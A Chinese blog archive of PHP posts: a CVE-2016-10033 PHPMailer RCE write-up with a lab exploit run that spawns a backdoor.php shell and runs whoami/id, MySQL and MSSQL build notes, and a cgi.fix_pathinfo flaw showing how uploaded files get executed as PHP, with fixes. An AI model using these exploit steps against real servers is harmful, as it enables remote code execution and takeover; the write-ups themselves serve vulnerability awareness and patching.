标签归档:php

【CVE】PHPMailer < 5.2.18 RCE

漏洞描述:
GitHub上面形容PHPMailer“可能是全球PHP发送邮件最流行的代码。亦被诸多开源项目所采用,包括WordPress、Drupal、1CRM、Joomla!等”。所以这个漏洞影响范围还是比较广的,漏洞级别也为Critical最高级。漏洞编号为CVE-2016-10033。
PHPmailer的项目地址:https://github.com/PHPMailer/PHPMailer
在这个包含漏洞的PHPMailer(PHPMailer < 5.2.18)版本中,发件人的电子邮件地址在传输时没有转义为shell命令。如此一来,攻击者就可以在发件人的电子邮件中增加shell命令以便在目标机器或网站上执行恶意代码。

POC:

漏洞复现:
参考:https://github.com/opsxcq/exploit-CVE-2016-10033
安装docker:

[root@localhost /]# yum -y install docker-io
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
[root@localhost exploit-CVE-2016-10033-master]# ./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080

[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> [+] Running 

RemoteShell> id
[+] Running id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

影响范围:
PHPMailer < 5.2.18

漏洞修复:
升级到PHPMailer 5.2.18或更高版本。

参考文章:
http://bobao.360.cn/learning/detail/3347.html
https://github.com/opsxcq/exploit-CVE-2016-10033
https://www.exploit-db.com/exploits/40968/
http://www.freebuf.com/news/123945.html

PHP使用mysqli访问数据库报错

PHP使用mysqli访问数据库发现报错
Warning: mysqli::mysqli(): Headers and client library minor version mismatch. Headers:50075 Library:50130 in /opt/web/webroot/wordsfilter/test/conn.php on line 12
查看phpinfo
Client API library version    5.1.30
Active Persistent Links    0
Inactive Persistent Links    0
Active Links    0
Client API header version    5.0.75
MYSQLI_SOCKET    /tmp/mysql.sock
因为Client API library version和Client API header version不一致导致。
PHP连接mysql需要mysql.h头文件。使用yum安装yum install mysql-devel
头文件默认在/usr/include/mysql/mysql.h
在php 5.3中

123

因为会尝试/usr /usr/local所以不指定位置也可以 直接–with-mysql
在php 5.4-5.6中

123

需要指定 –with-mysql=/usr
然后重新编译安装php即可,安装后
Client API library version    5.0.95
Active Persistent Links    0
Inactive Persistent Links    0
Active Links    0
Client API header version    5.0.95
MYSQLI_SOCKET    /var/lib/mysql/mysql.sock

使用PHP连接MSSQL

1)下载freetds
./configure –prefix=/usr/local/freetds –with-tdsver=7.3 –enable-msdblib
make && make install
echo "/usr/local/freetds/lib/" > /etc/ld.so.conf.d/freetds.conf
/sbin/ldconfig

测试连接
/usr/local/freetds/bin/tsql -H 192.168.181.3 -p 1433 -U sa -P *****
修改vim freetds.conf
 36 [egServer70]
 37     host = 192.168.181.3
 38     port = 1433

2)安装PHP
./configure  –prefix=/usr/local/php-fpm –with-config-file-path=/usr/local/php-fpm/etc –with-mysql=/usr/local/mysql –with-pdo-mysql=/usr/local/mysql –enable-fpm –enable-magic-quotes –with-zlib –enable-mbstring –with-mcrypt –with-mssql=/usr/local/freetds/ –with-pdo-dblib=/usr/local/freetds/

make && make install
cp /usr/local/php-fpm/etc/php-fpm.conf.default /usr/local/php-fpm/etc/php-fpm.conf

/usr/local/php-fpm/sbin/php-fpm
安装完成。

PHP CGI中fix_pathinfo引起的安全隐患

漏洞测试:

访问http://www.target.com/robots.txt

返回头Content-Type: text/plain

访问http://www.target.com/robots.txt/x.php

返回头Content-Type: text/html

也就是robots.txt被当做PHP解析。那么问题就来了,如果用户上传包含恶意代码的头像文件,然后利用该方法解析为PHP,那么就能轻松拿到shell。

其实该问题的根本原因在于php.ini中的cgi.fix_pathinfo配置,我们来看下cgi.fix_pathinfo配置

; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHP's

; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok

; what PATH_INFO is.  For more information on PATH_INFO, see the cgi specs.  Setting

; this to 1 will cause PHP CGI to fix it's paths to conform to the spec.  A setting

; of zero causes PHP to behave as before.  Default is 1.  You should fix your scripts

; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.

cgi.fix_pathinfo=0

如果开启了这个选项, 那么就会触发在PHP中的如下逻辑:

/*

 * if the file doesn't exist, try to extract PATH_INFO out

 * of it by stat'ing back through the '/'

 * this fixes url's like /info.php/test

 */

if (script_path_translated &&

     (script_path_translated_len = strlen(script_path_translated)) > 0 &&

     (script_path_translated[script_path_translated_len-1] == '/' ||

....//以下省略.

可以看到如果文件不存在,则会PATH_INFO作为PHP解析。

 

修复方案如下:

1)修改php.ini文件,将cgi.fix_pathinfo的值设置为0,完成后重启PHP-FPM。此操作可能会响应到正常功能。

2)在Nginx配置文件中添加以下代码:

  if ( $fastcgi_script_name ~ \..*\/.*php ) {

           return 403;

  }

另外从5.3.9开始,php官方加入了一个配置”security.limit_extensions”,默认状态下只允许执行扩展名为”.php”的文件。

可以查看/etc/php-fpm.d/www.conf

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
security.limit_extensions = .php .php3 .php4 .php5

也就是说如果你的PHP版本高于5.3.9,那么默认配置也不会受到该问题影响。

而如果低于5.3.9,你就需要考虑上述的修复方案。